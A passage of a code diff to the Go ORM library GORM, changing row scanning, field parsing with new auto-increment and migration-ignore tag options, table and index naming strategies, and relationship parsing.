func (tx *PreparedStmtTX) QueryRowContext(ctx context.Context, query string, args ...interface{}) *sql.Row {
|
||||
stmt, err := tx.PreparedStmtDB.prepare(ctx, query)
|
||||
stmt, err := tx.PreparedStmtDB.prepare(ctx, tx.Tx, true, query)
|
||||
if err == nil {
|
||||
return tx.Tx.StmtContext(ctx, stmt).QueryRowContext(ctx, args...)
|
||||
return tx.Tx.StmtContext(ctx, stmt.Stmt).QueryRowContext(ctx, args...)
|
||||
}
|
||||
return &sql.Row{}
|
||||
}
|
||||
+29
-16
@@ -84,7 +84,12 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
|
||||
scanIntoMap(mapValue, values, columns)
|
||||
*dest = append(*dest, mapValue)
|
||||
}
|
||||
case *int, *int64, *uint, *uint64, *float32, *float64, *string, *time.Time:
|
||||
case *int, *int8, *int16, *int32, *int64,
|
||||
*uint, *uint8, *uint16, *uint32, *uint64, *uintptr,
|
||||
*float32, *float64,
|
||||
*bool, *string, *time.Time,
|
||||
*sql.NullInt32, *sql.NullInt64, *sql.NullFloat64,
|
||||
*sql.NullBool, *sql.NullString, *sql.NullTime:
|
||||
for initialized || rows.Next() {
|
||||
initialized = false
|
||||
db.RowsAffected++
|
||||
@@ -106,7 +111,7 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
|
||||
reflectValueType = reflectValueType.Elem()
|
||||
}
|
||||
|
||||
db.Statement.ReflectValue.Set(reflect.MakeSlice(db.Statement.ReflectValue.Type(), 0, 0))
|
||||
db.Statement.ReflectValue.Set(reflect.MakeSlice(db.Statement.ReflectValue.Type(), 0, 20))
|
||||
|
||||
if Schema != nil {
|
||||
if reflectValueType != Schema.ModelType && reflectValueType.Kind() == reflect.Struct {
|
||||
@@ -117,13 +122,13 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
|
||||
if field := Schema.LookUpField(column); field != nil && field.Readable {
|
||||
fields[idx] = field
|
||||
} else if names := strings.Split(column, "__"); len(names) > 1 {
|
||||
if len(joinFields) == 0 {
|
||||
joinFields = make([][2]*schema.Field, len(columns))
|
||||
}
|
||||
|
||||
if rel, ok := Schema.Relationships.Relations[names[0]]; ok {
|
||||
if field := rel.FieldSchema.LookUpField(strings.Join(names[1:], "__")); field != nil && field.Readable {
|
||||
fields[idx] = field
|
||||
|
||||
if len(joinFields) == 0 {
|
||||
joinFields = make([][2]*schema.Field, len(columns))
|
||||
}
|
||||
joinFields[idx] = [2]*schema.Field{rel.Field, field}
|
||||
continue
|
||||
}
|
||||
@@ -138,9 +143,9 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
|
||||
// pluck values into slice of data
|
||||
isPluck := false
|
||||
if len(fields) == 1 {
|
||||
if _, ok := reflect.New(reflectValueType).Interface().(sql.Scanner); ok {
|
||||
isPluck = true
|
||||
} else if reflectValueType.Kind() != reflect.Struct || reflectValueType.ConvertibleTo(schema.TimeReflectType) {
|
||||
if _, ok := reflect.New(reflectValueType).Interface().(sql.Scanner); ok || // is scanner
|
||||
reflectValueType.Kind() != reflect.Struct || // is not struct
|
||||
Schema.ModelType.ConvertibleTo(schema.TimeReflectType) { // is time
|
||||
isPluck = true
|
||||
}
|
||||
}
|
||||
@@ -149,9 +154,9 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
|
||||
initialized = false
|
||||
db.RowsAffected++
|
||||
|
||||
elem := reflect.New(reflectValueType).Elem()
|
||||
elem := reflect.New(reflectValueType)
|
||||
if isPluck {
|
||||
db.AddError(rows.Scan(elem.Addr().Interface()))
|
||||
db.AddError(rows.Scan(elem.Interface()))
|
||||
} else {
|
||||
for idx, field := range fields {
|
||||
if field != nil {
|
||||
@@ -181,12 +186,12 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
|
||||
}
|
||||
|
||||
if isPtr {
|
||||
db.Statement.ReflectValue.Set(reflect.Append(db.Statement.ReflectValue, elem.Addr()))
|
||||
} else {
|
||||
db.Statement.ReflectValue.Set(reflect.Append(db.Statement.ReflectValue, elem))
|
||||
} else {
|
||||
db.Statement.ReflectValue.Set(reflect.Append(db.Statement.ReflectValue, elem.Elem()))
|
||||
}
|
||||
}
|
||||
case reflect.Struct:
|
||||
case reflect.Struct, reflect.Ptr:
|
||||
if db.Statement.ReflectValue.Type() != Schema.ModelType {
|
||||
Schema, _ = schema.Parse(db.Statement.Dest, db.cacheStore, db.NamingStrategy)
|
||||
}
|
||||
@@ -203,6 +208,8 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
|
||||
}
|
||||
}
|
||||
values[idx] = &sql.RawBytes{}
|
||||
} else if len(columns) == 1 {
|
||||
values[idx] = dest
|
||||
} else {
|
||||
values[idx] = &sql.RawBytes{}
|
||||
}
|
||||
@@ -216,8 +223,8 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
|
||||
field.Set(db.Statement.ReflectValue, values[idx])
|
||||
} else if names := strings.Split(column, "__"); len(names) > 1 {
|
||||
if rel, ok := Schema.Relationships.Relations[names[0]]; ok {
|
||||
relValue := rel.Field.ReflectValueOf(db.Statement.ReflectValue)
|
||||
if field := rel.FieldSchema.LookUpField(strings.Join(names[1:], "__")); field != nil && field.Readable {
|
||||
relValue := rel.Field.ReflectValueOf(db.Statement.ReflectValue)
|
||||
value := reflect.ValueOf(values[idx]).Elem()
|
||||
|
||||
if relValue.Kind() == reflect.Ptr && relValue.IsNil() {
|
||||
@@ -233,10 +240,16 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
|
||||
}
|
||||
}
|
||||
}
|
||||
default:
|
||||
db.AddError(rows.Scan(dest))
|
||||
}
|
||||
}
|
||||
|
||||
if db.RowsAffected == 0 && db.Statement.RaiseErrorOnNotFound {
|
||||
if err := rows.Err(); err != nil && err != db.Error {
|
||||
db.AddError(err)
|
||||
}
|
||||
|
||||
if db.RowsAffected == 0 && db.Statement.RaiseErrorOnNotFound && db.Error == nil {
|
||||
db.AddError(ErrRecordNotFound)
|
||||
}
|
||||
}
|
||||
+6
-1
@@ -5,6 +5,11 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
// reg match english letters and midline
|
||||
regEnLetterAndMidline = regexp.MustCompile("^[A-Za-z-_]+$")
|
||||
)
|
||||
|
||||
type Check struct {
|
||||
Name string
|
||||
Constraint string // length(phone) >= 10
|
||||
@@ -17,7 +22,7 @@ func (schema *Schema) ParseCheckConstraints() map[string]Check {
|
||||
for _, field := range schema.FieldsByDBName {
|
||||
if chk := field.TagSettings["CHECK"]; chk != "" {
|
||||
names := strings.Split(chk, ",")
|
||||
if len(names) > 1 && regexp.MustCompile("^[A-Za-z-_]+$").MatchString(names[0]) {
|
||||
if len(names) > 1 && regEnLetterAndMidline.MatchString(names[0]) {
|
||||
checks[names[0]] = Check{Name: names[0], Constraint: strings.Join(names[1:], ","), Field: field}
|
||||
} else {
|
||||
if names[0] == "" {
|
||||
|
||||
+97
-81
@@ -37,55 +37,58 @@ const (
|
||||
)
|
||||
|
||||
type Field struct {
|
||||
Name string
|
||||
DBName string
|
||||
BindNames []string
|
||||
DataType DataType
|
||||
GORMDataType DataType
|
||||
PrimaryKey bool
|
||||
AutoIncrement bool
|
||||
Creatable bool
|
||||
Updatable bool
|
||||
Readable bool
|
||||
HasDefaultValue bool
|
||||
AutoCreateTime TimeType
|
||||
AutoUpdateTime TimeType
|
||||
DefaultValue string
|
||||
DefaultValueInterface interface{}
|
||||
NotNull bool
|
||||
Unique bool
|
||||
Comment string
|
||||
Size int
|
||||
Precision int
|
||||
Scale int
|
||||
FieldType reflect.Type
|
||||
IndirectFieldType reflect.Type
|
||||
StructField reflect.StructField
|
||||
Tag reflect.StructTag
|
||||
TagSettings map[string]string
|
||||
Schema *Schema
|
||||
EmbeddedSchema *Schema
|
||||
OwnerSchema *Schema
|
||||
ReflectValueOf func(reflect.Value) reflect.Value
|
||||
ValueOf func(reflect.Value) (value interface{}, zero bool)
|
||||
Set func(reflect.Value, interface{}) error
|
||||
Name string
|
||||
DBName string
|
||||
BindNames []string
|
||||
DataType DataType
|
||||
GORMDataType DataType
|
||||
PrimaryKey bool
|
||||
AutoIncrement bool
|
||||
AutoIncrementIncrement int64
|
||||
Creatable bool
|
||||
Updatable bool
|
||||
Readable bool
|
||||
HasDefaultValue bool
|
||||
AutoCreateTime TimeType
|
||||
AutoUpdateTime TimeType
|
||||
DefaultValue string
|
||||
DefaultValueInterface interface{}
|
||||
NotNull bool
|
||||
Unique bool
|
||||
Comment string
|
||||
Size int
|
||||
Precision int
|
||||
Scale int
|
||||
FieldType reflect.Type
|
||||
IndirectFieldType reflect.Type
|
||||
StructField reflect.StructField
|
||||
Tag reflect.StructTag
|
||||
TagSettings map[string]string
|
||||
Schema *Schema
|
||||
EmbeddedSchema *Schema
|
||||
OwnerSchema *Schema
|
||||
ReflectValueOf func(reflect.Value) reflect.Value
|
||||
ValueOf func(reflect.Value) (value interface{}, zero bool)
|
||||
Set func(reflect.Value, interface{}) error
|
||||
IgnoreMigration bool
|
||||
}
|
||||
|
||||
func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
|
||||
var err error
|
||||
|
||||
field := &Field{
|
||||
Name: fieldStruct.Name,
|
||||
BindNames: []string{fieldStruct.Name},
|
||||
FieldType: fieldStruct.Type,
|
||||
IndirectFieldType: fieldStruct.Type,
|
||||
StructField: fieldStruct,
|
||||
Creatable: true,
|
||||
Updatable: true,
|
||||
Readable: true,
|
||||
Tag: fieldStruct.Tag,
|
||||
TagSettings: ParseTagSetting(fieldStruct.Tag.Get("gorm"), ";"),
|
||||
Schema: schema,
|
||||
Name: fieldStruct.Name,
|
||||
BindNames: []string{fieldStruct.Name},
|
||||
FieldType: fieldStruct.Type,
|
||||
IndirectFieldType: fieldStruct.Type,
|
||||
StructField: fieldStruct,
|
||||
Creatable: true,
|
||||
Updatable: true,
|
||||
Readable: true,
|
||||
Tag: fieldStruct.Tag,
|
||||
TagSettings: ParseTagSetting(fieldStruct.Tag.Get("gorm"), ";"),
|
||||
Schema: schema,
|
||||
AutoIncrementIncrement: 1,
|
||||
}
|
||||
|
||||
for field.IndirectFieldType.Kind() == reflect.Ptr {
|
||||
@@ -149,6 +152,10 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
|
||||
field.HasDefaultValue = true
|
||||
}
|
||||
|
||||
if num, ok := field.TagSettings["AUTOINCREMENTINCREMENT"]; ok {
|
||||
field.AutoIncrementIncrement, _ = strconv.ParseInt(num, 10, 64)
|
||||
}
|
||||
|
||||
if v, ok := field.TagSettings["DEFAULT"]; ok {
|
||||
field.HasDefaultValue = true
|
||||
field.DefaultValue = v
|
||||
@@ -183,6 +190,7 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
|
||||
}
|
||||
|
||||
// default value is function or null or blank (primary keys)
|
||||
field.DefaultValue = strings.TrimSpace(field.DefaultValue)
|
||||
skipParseDefaultValue := strings.Contains(field.DefaultValue, "(") &&
|
||||
strings.Contains(field.DefaultValue, ")") || strings.ToLower(field.DefaultValue) == "null" || field.DefaultValue == ""
|
||||
switch reflect.Indirect(fieldValue).Kind() {
|
||||
@@ -190,28 +198,28 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
|
||||
field.DataType = Bool
|
||||
if field.HasDefaultValue && !skipParseDefaultValue {
|
||||
if field.DefaultValueInterface, err = strconv.ParseBool(field.DefaultValue); err != nil {
|
||||
schema.err = fmt.Errorf("failed to parse %v as default value for bool, got error: %v", field.DefaultValue, err)
|
||||
schema.err = fmt.Errorf("failed to parse %s as default value for bool, got error: %v", field.DefaultValue, err)
|
||||
}
|
||||
}
|
||||
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
|
||||
field.DataType = Int
|
||||
if field.HasDefaultValue && !skipParseDefaultValue {
|
||||
if field.DefaultValueInterface, err = strconv.ParseInt(field.DefaultValue, 0, 64); err != nil {
|
||||
schema.err = fmt.Errorf("failed to parse %v as default value for int, got error: %v", field.DefaultValue, err)
|
||||
schema.err = fmt.Errorf("failed to parse %s as default value for int, got error: %v", field.DefaultValue, err)
|
||||
}
|
||||
}
|
||||
case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:
|
||||
field.DataType = Uint
|
||||
if field.HasDefaultValue && !skipParseDefaultValue {
|
||||
if field.DefaultValueInterface, err = strconv.ParseUint(field.DefaultValue, 0, 64); err != nil {
|
||||
schema.err = fmt.Errorf("failed to parse %v as default value for uint, got error: %v", field.DefaultValue, err)
|
||||
schema.err = fmt.Errorf("failed to parse %s as default value for uint, got error: %v", field.DefaultValue, err)
|
||||
}
|
||||
}
|
||||
case reflect.Float32, reflect.Float64:
|
||||
field.DataType = Float
|
||||
if field.HasDefaultValue && !skipParseDefaultValue {
|
||||
if field.DefaultValueInterface, err = strconv.ParseFloat(field.DefaultValue, 64); err != nil {
|
||||
schema.err = fmt.Errorf("failed to parse %v as default value for float, got error: %v", field.DefaultValue, err)
|
||||
schema.err = fmt.Errorf("failed to parse %s as default value for float, got error: %v", field.DefaultValue, err)
|
||||
}
|
||||
}
|
||||
case reflect.String:
|
||||
@@ -219,7 +227,7 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
|
||||
|
||||
if field.HasDefaultValue && !skipParseDefaultValue {
|
||||
field.DefaultValue = strings.Trim(field.DefaultValue, "'")
|
||||
field.DefaultValue = strings.Trim(field.DefaultValue, "\"")
|
||||
field.DefaultValue = strings.Trim(field.DefaultValue, `"`)
|
||||
field.DefaultValueInterface = field.DefaultValue
|
||||
}
|
||||
case reflect.Struct:
|
||||
@@ -289,11 +297,23 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
|
||||
}
|
||||
|
||||
// setup permission
|
||||
if _, ok := field.TagSettings["-"]; ok {
|
||||
field.Creatable = false
|
||||
field.Updatable = false
|
||||
field.Readable = false
|
||||
field.DataType = ""
|
||||
if val, ok := field.TagSettings["-"]; ok {
|
||||
val = strings.ToLower(strings.TrimSpace(val))
|
||||
switch val {
|
||||
case "-":
|
||||
field.Creatable = false
|
||||
field.Updatable = false
|
||||
field.Readable = false
|
||||
field.DataType = ""
|
||||
case "all":
|
||||
field.Creatable = false
|
||||
field.Updatable = false
|
||||
field.Readable = false
|
||||
field.DataType = ""
|
||||
field.IgnoreMigration = true
|
||||
case "migration":
|
||||
field.IgnoreMigration = true
|
||||
}
|
||||
}
|
||||
|
||||
if v, ok := field.TagSettings["->"]; ok {
|
||||
@@ -330,7 +350,7 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
|
||||
|
||||
cacheStore := &sync.Map{}
|
||||
cacheStore.Store(embeddedCacheKey, true)
|
||||
if field.EmbeddedSchema, err = Parse(fieldValue.Interface(), cacheStore, embeddedNamer{Table: schema.Table, Namer: schema.namer}); err != nil {
|
||||
if field.EmbeddedSchema, err = getOrParse(fieldValue.Interface(), cacheStore, embeddedNamer{Table: schema.Table, Namer: schema.namer}); err != nil {
|
||||
schema.err = err
|
||||
}
|
||||
|
||||
@@ -372,7 +392,7 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
schema.err = fmt.Errorf("invalid embedded struct for %v's field %v, should be struct, but got %v", field.Schema.Name, field.Name, field.FieldType)
|
||||
schema.err = fmt.Errorf("invalid embedded struct for %s's field %s, should be struct, but got %v", field.Schema.Name, field.Name, field.FieldType)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -403,12 +423,12 @@ func (field *Field) setupValuerAndSetter() {
|
||||
} else {
|
||||
v = v.Field(-idx - 1)
|
||||
|
||||
if v.Type().Elem().Kind() == reflect.Struct {
|
||||
if !v.IsNil() {
|
||||
v = v.Elem()
|
||||
} else {
|
||||
return nil, true
|
||||
}
|
||||
if v.Type().Elem().Kind() != reflect.Struct {
|
||||
return nil, true
|
||||
}
|
||||
|
||||
if !v.IsNil() {
|
||||
v = v.Elem()
|
||||
} else {
|
||||
return nil, true
|
||||
}
|
||||
@@ -421,15 +441,8 @@ func (field *Field) setupValuerAndSetter() {
|
||||
// ReflectValueOf
|
||||
switch {
|
||||
case len(field.StructField.Index) == 1:
|
||||
if field.FieldType.Kind() == reflect.Ptr {
|
||||
field.ReflectValueOf = func(value reflect.Value) reflect.Value {
|
||||
fieldValue := reflect.Indirect(value).Field(field.StructField.Index[0])
|
||||
return fieldValue
|
||||
}
|
||||
} else {
|
||||
field.ReflectValueOf = func(value reflect.Value) reflect.Value {
|
||||
return reflect.Indirect(value).Field(field.StructField.Index[0])
|
||||
}
|
||||
field.ReflectValueOf = func(value reflect.Value) reflect.Value {
|
||||
return reflect.Indirect(value).Field(field.StructField.Index[0])
|
||||
}
|
||||
case len(field.StructField.Index) == 2 && field.StructField.Index[0] >= 0 && field.FieldType.Kind() != reflect.Ptr:
|
||||
field.ReflectValueOf = func(value reflect.Value) reflect.Value {
|
||||
@@ -466,30 +479,33 @@ func (field *Field) setupValuerAndSetter() {
|
||||
field.ReflectValueOf(value).Set(reflect.New(field.FieldType).Elem())
|
||||
} else {
|
||||
reflectV := reflect.ValueOf(v)
|
||||
// Optimal value type acquisition for v
|
||||
reflectValType := reflectV.Type()
|
||||
|
||||
if reflectV.Type().AssignableTo(field.FieldType) {
|
||||
if reflectValType.AssignableTo(field.FieldType) {
|
||||
field.ReflectValueOf(value).Set(reflectV)
|
||||
return
|
||||
} else if reflectV.Type().ConvertibleTo(field.FieldType) {
|
||||
} else if reflectValType.ConvertibleTo(field.FieldType) {
|
||||
field.ReflectValueOf(value).Set(reflectV.Convert(field.FieldType))
|
||||
return
|
||||
} else if field.FieldType.Kind() == reflect.Ptr {
|
||||
fieldValue := field.ReflectValueOf(value)
|
||||
fieldType := field.FieldType.Elem()
|
||||
|
||||
if reflectV.Type().AssignableTo(field.FieldType.Elem()) {
|
||||
if reflectValType.AssignableTo(fieldType) {
|
||||
if !fieldValue.IsValid() {
|
||||
fieldValue = reflect.New(field.FieldType.Elem())
|
||||
fieldValue = reflect.New(fieldType)
|
||||
} else if fieldValue.IsNil() {
|
||||
fieldValue.Set(reflect.New(field.FieldType.Elem()))
|
||||
fieldValue.Set(reflect.New(fieldType))
|
||||
}
|
||||
fieldValue.Elem().Set(reflectV)
|
||||
return
|
||||
} else if reflectV.Type().ConvertibleTo(field.FieldType.Elem()) {
|
||||
} else if reflectValType.ConvertibleTo(fieldType) {
|
||||
if fieldValue.IsNil() {
|
||||
fieldValue.Set(reflect.New(field.FieldType.Elem()))
|
||||
fieldValue.Set(reflect.New(fieldType))
|
||||
}
|
||||
|
||||
fieldValue.Elem().Set(reflectV.Convert(field.FieldType.Elem()))
|
||||
fieldValue.Elem().Set(reflectV.Convert(fieldType))
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -505,7 +521,7 @@ func (field *Field) setupValuerAndSetter() {
|
||||
err = setter(value, v)
|
||||
}
|
||||
} else {
|
||||
return fmt.Errorf("failed to set value %+v to field %v", v, field.Name)
|
||||
return fmt.Errorf("failed to set value %+v to field %s", v, field.Name)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -721,7 +737,7 @@ func (field *Field) setupValuerAndSetter() {
|
||||
if t, err := now.Parse(data); err == nil {
|
||||
field.ReflectValueOf(value).Set(reflect.ValueOf(t))
|
||||
} else {
|
||||
return fmt.Errorf("failed to set string %v to time.Time field %v, failed to parse it as time, got error %v", v, field.Name, err)
|
||||
return fmt.Errorf("failed to set string %v to time.Time field %s, failed to parse it as time, got error %v", v, field.Name, err)
|
||||
}
|
||||
default:
|
||||
return fallbackSetter(value, v, field.Set)
|
||||
@@ -750,7 +766,7 @@ func (field *Field) setupValuerAndSetter() {
|
||||
}
|
||||
fieldValue.Elem().Set(reflect.ValueOf(t))
|
||||
} else {
|
||||
return fmt.Errorf("failed to set string %v to time.Time field %v, failed to parse it as time, got error %v", v, field.Name, err)
|
||||
return fmt.Errorf("failed to set string %v to time.Time field %s, failed to parse it as time, got error %v", v, field.Name, err)
|
||||
}
|
||||
default:
|
||||
return fallbackSetter(value, v, field.Set)
|
||||
|
||||
+58
-21
@@ -2,9 +2,10 @@ package schema
|
||||
|
||||
import (
|
||||
"crypto/sha1"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/jinzhu/inflection"
|
||||
@@ -13,6 +14,7 @@ import (
|
||||
// Namer namer interface
|
||||
type Namer interface {
|
||||
TableName(table string) string
|
||||
SchemaName(table string) string
|
||||
ColumnName(table, column string) string
|
||||
JoinTableName(joinTable string) string
|
||||
RelationshipFKName(Relationship) string
|
||||
@@ -20,82 +22,109 @@ type Namer interface {
|
||||
IndexName(table, column string) string
|
||||
}
|
||||
|
||||
// Replacer replacer interface like strings.Replacer
|
||||
type Replacer interface {
|
||||
Replace(name string) string
|
||||
}
|
||||
|
||||
// NamingStrategy tables, columns naming strategy
|
||||
type NamingStrategy struct {
|
||||
TablePrefix string
|
||||
SingularTable bool
|
||||
NameReplacer Replacer
|
||||
NoLowerCase bool
|
||||
}
|
||||
|
||||
// TableName convert string to table name
|
||||
func (ns NamingStrategy) TableName(str string) string {
|
||||
if ns.SingularTable {
|
||||
return ns.TablePrefix + toDBName(str)
|
||||
return ns.TablePrefix + ns.toDBName(str)
|
||||
}
|
||||
return ns.TablePrefix + inflection.Plural(toDBName(str))
|
||||
return ns.TablePrefix + inflection.Plural(ns.toDBName(str))
|
||||
}
|
||||
|
||||
// SchemaName generate schema name from table name, don't guarantee it is the reverse value of TableName
|
||||
func (ns NamingStrategy) SchemaName(table string) string {
|
||||
table = strings.TrimPrefix(table, ns.TablePrefix)
|
||||
|
||||
if ns.SingularTable {
|
||||
return ns.toSchemaName(table)
|
||||
}
|
||||
return ns.toSchemaName(inflection.Singular(table))
|
||||
}
|
||||
|
||||
// ColumnName convert string to column name
|
||||
func (ns NamingStrategy) ColumnName(table, column string) string {
|
||||
return toDBName(column)
|
||||
return ns.toDBName(column)
|
||||
}
|
||||
|
||||
// JoinTableName convert string to join table name
|
||||
func (ns NamingStrategy) JoinTableName(str string) string {
|
||||
if strings.ToLower(str) == str {
|
||||
if !ns.NoLowerCase && strings.ToLower(str) == str {
|
||||
return ns.TablePrefix + str
|
||||
}
|
||||
|
||||
if ns.SingularTable {
|
||||
return ns.TablePrefix + toDBName(str)
|
||||
return ns.TablePrefix + ns.toDBName(str)
|
||||
}
|
||||
return ns.TablePrefix + inflection.Plural(toDBName(str))
|
||||
return ns.TablePrefix + inflection.Plural(ns.toDBName(str))
|
||||
}
|
||||
|
||||
// RelationshipFKName generate fk name for relation
|
||||
func (ns NamingStrategy) RelationshipFKName(rel Relationship) string {
|
||||
return strings.Replace(fmt.Sprintf("fk_%s_%s", rel.Schema.Table, toDBName(rel.Name)), ".", "_", -1)
|
||||
return ns.formatName("fk", rel.Schema.Table, ns.toDBName(rel.Name))
|
||||
}
|
||||
|
||||
// CheckerName generate checker name
|
||||
func (ns NamingStrategy) CheckerName(table, column string) string {
|
||||
return strings.Replace(fmt.Sprintf("chk_%s_%s", table, column), ".", "_", -1)
|
||||
return ns.formatName("chk", table, column)
|
||||
}
|
||||
|
||||
// IndexName generate index name
|
||||
func (ns NamingStrategy) IndexName(table, column string) string {
|
||||
idxName := fmt.Sprintf("idx_%v_%v", table, toDBName(column))
|
||||
idxName = strings.Replace(idxName, ".", "_", -1)
|
||||
return ns.formatName("idx", table, ns.toDBName(column))
|
||||
}
|
||||
|
||||
if utf8.RuneCountInString(idxName) > 64 {
|
||||
func (ns NamingStrategy) formatName(prefix, table, name string) string {
|
||||
formattedName := strings.Replace(strings.Join([]string{
|
||||
prefix, table, name,
|
||||
}, "_"), ".", "_", -1)
|
||||
|
||||
if utf8.RuneCountInString(formattedName) > 64 {
|
||||
h := sha1.New()
|
||||
h.Write([]byte(idxName))
|
||||
h.Write([]byte(formattedName))
|
||||
bs := h.Sum(nil)
|
||||
|
||||
idxName = fmt.Sprintf("idx%v%v", table, column)[0:56] + string(bs)[:8]
|
||||
formattedName = fmt.Sprintf("%v%v%v", prefix, table, name)[0:56] + hex.EncodeToString(bs)[:8]
|
||||
}
|
||||
return idxName
|
||||
return formattedName
|
||||
}
|
||||
|
||||
var (
|
||||
smap sync.Map
|
||||
// https://github.com/golang/lint/blob/master/lint.go#L770
|
||||
commonInitialisms = []string{"API", "ASCII", "CPU", "CSS", "DNS", "EOF", "GUID", "HTML", "HTTP", "HTTPS", "ID", "IP", "JSON", "LHS", "QPS", "RAM", "RHS", "RPC", "SLA", "SMTP", "SSH", "TLS", "TTL", "UID", "UI", "UUID", "URI", "URL", "UTF8", "VM", "XML", "XSRF", "XSS"}
|
||||
commonInitialismsReplacer *strings.Replacer
|
||||
)
|
||||
|
||||
func init() {
|
||||
var commonInitialismsForReplacer []string
|
||||
commonInitialismsForReplacer := make([]string, 0, len(commonInitialisms))
|
||||
for _, initialism := range commonInitialisms {
|
||||
commonInitialismsForReplacer = append(commonInitialismsForReplacer, initialism, strings.Title(strings.ToLower(initialism)))
|
||||
}
|
||||
commonInitialismsReplacer = strings.NewReplacer(commonInitialismsForReplacer...)
|
||||
}
|
||||
|
||||
func toDBName(name string) string {
|
||||
func (ns NamingStrategy) toDBName(name string) string {
|
||||
if name == "" {
|
||||
return ""
|
||||
} else if v, ok := smap.Load(name); ok {
|
||||
return fmt.Sprint(v)
|
||||
}
|
||||
|
||||
if ns.NameReplacer != nil {
|
||||
name = ns.NameReplacer.Replace(name)
|
||||
}
|
||||
|
||||
if ns.NoLowerCase {
|
||||
return name
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -134,6 +163,14 @@ func toDBName(name string) string {
|
||||
} else {
|
||||
buf.WriteByte(value[len(value)-1])
|
||||
}
|
||||
ret := buf.String()
|
||||
return ret
|
||||
}
|
||||
|
||||
return buf.String()
|
||||
func (ns NamingStrategy) toSchemaName(name string) string {
|
||||
result := strings.Replace(strings.Title(strings.Replace(name, "_", " ", -1)), " ", "", -1)
|
||||
for _, initialism := range commonInitialisms {
|
||||
result = regexp.MustCompile(strings.Title(strings.ToLower(initialism))+"([A-Z]|$|_)").ReplaceAllString(result, initialism+"$1")
|
||||
}
|
||||
return result
|
||||
}
|
||||
+114
-45
@@ -3,11 +3,11 @@ package schema
|
||||
import (
|
||||
"fmt"
|
||||
"reflect"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/jinzhu/inflection"
|
||||
"gorm.io/gorm/clause"
|
||||
"gorm.io/gorm/utils"
|
||||
)
|
||||
|
||||
// RelationshipType relationship type
|
||||
@@ -18,6 +18,7 @@ const (
|
||||
HasMany RelationshipType = "has_many" // HasManyRel has many relationship
|
||||
BelongsTo RelationshipType = "belongs_to" // BelongsToRel belongs to relationship
|
||||
Many2Many RelationshipType = "many_to_many" // Many2ManyRel many to many relationship
|
||||
has RelationshipType = "has"
|
||||
)
|
||||
|
||||
type Relationships struct {
|
||||
@@ -53,7 +54,7 @@ type Reference struct {
|
||||
OwnPrimaryKey bool
|
||||
}
|
||||
|
||||
func (schema *Schema) parseRelation(field *Field) {
|
||||
func (schema *Schema) parseRelation(field *Field) *Relationship {
|
||||
var (
|
||||
err error
|
||||
fieldValue = reflect.New(field.IndirectFieldType).Interface()
|
||||
@@ -67,13 +68,10 @@ func (schema *Schema) parseRelation(field *Field) {
|
||||
)
|
||||
|
||||
cacheStore := schema.cacheStore
|
||||
if field.OwnerSchema != nil {
|
||||
cacheStore = field.OwnerSchema.cacheStore
|
||||
}
|
||||
|
||||
if relation.FieldSchema, err = Parse(fieldValue, cacheStore, schema.namer); err != nil {
|
||||
if relation.FieldSchema, err = getOrParse(fieldValue, cacheStore, schema.namer); err != nil {
|
||||
schema.err = err
|
||||
return
|
||||
return nil
|
||||
}
|
||||
|
||||
if polymorphic := field.TagSettings["POLYMORPHIC"]; polymorphic != "" {
|
||||
@@ -83,16 +81,17 @@ func (schema *Schema) parseRelation(field *Field) {
|
||||
} else {
|
||||
switch field.IndirectFieldType.Kind() {
|
||||
case reflect.Struct:
|
||||
schema.guessRelation(relation, field, guessBelongs)
|
||||
schema.guessRelation(relation, field, guessGuess)
|
||||
case reflect.Slice:
|
||||
schema.guessRelation(relation, field, guessHas)
|
||||
default:
|
||||
schema.err = fmt.Errorf("unsupported data type %v for %v on field %v", relation.FieldSchema, schema, field.Name)
|
||||
schema.err = fmt.Errorf("unsupported data type %v for %v on field %s", relation.FieldSchema, schema, field.Name)
|
||||
}
|
||||
}
|
||||
|
||||
if relation.Type == "has" {
|
||||
if relation.FieldSchema != relation.Schema && relation.Polymorphic == nil {
|
||||
if relation.Type == has {
|
||||
// don't add relations to embedded schema, which might be shared
|
||||
if relation.FieldSchema != relation.Schema && relation.Polymorphic == nil && field.OwnerSchema == nil {
|
||||
relation.FieldSchema.Relationships.Relations["_"+relation.Schema.Name+"_"+relation.Name] = relation
|
||||
}
|
||||
|
||||
@@ -117,6 +116,8 @@ func (schema *Schema) parseRelation(field *Field) {
|
||||
schema.Relationships.Many2Many = append(schema.Relationships.Many2Many, relation)
|
||||
}
|
||||
}
|
||||
|
||||
return relation
|
||||
}
|
||||
|
||||
// User has many Toys, its `Polymorphic` is `Owner`, Pet has one Toy, its `Polymorphic` is `Owner`
|
||||
@@ -142,11 +143,11 @@ func (schema *Schema) buildPolymorphicRelation(relation *Relationship, field *Fi
|
||||
}
|
||||
|
||||
if relation.Polymorphic.PolymorphicType == nil {
|
||||
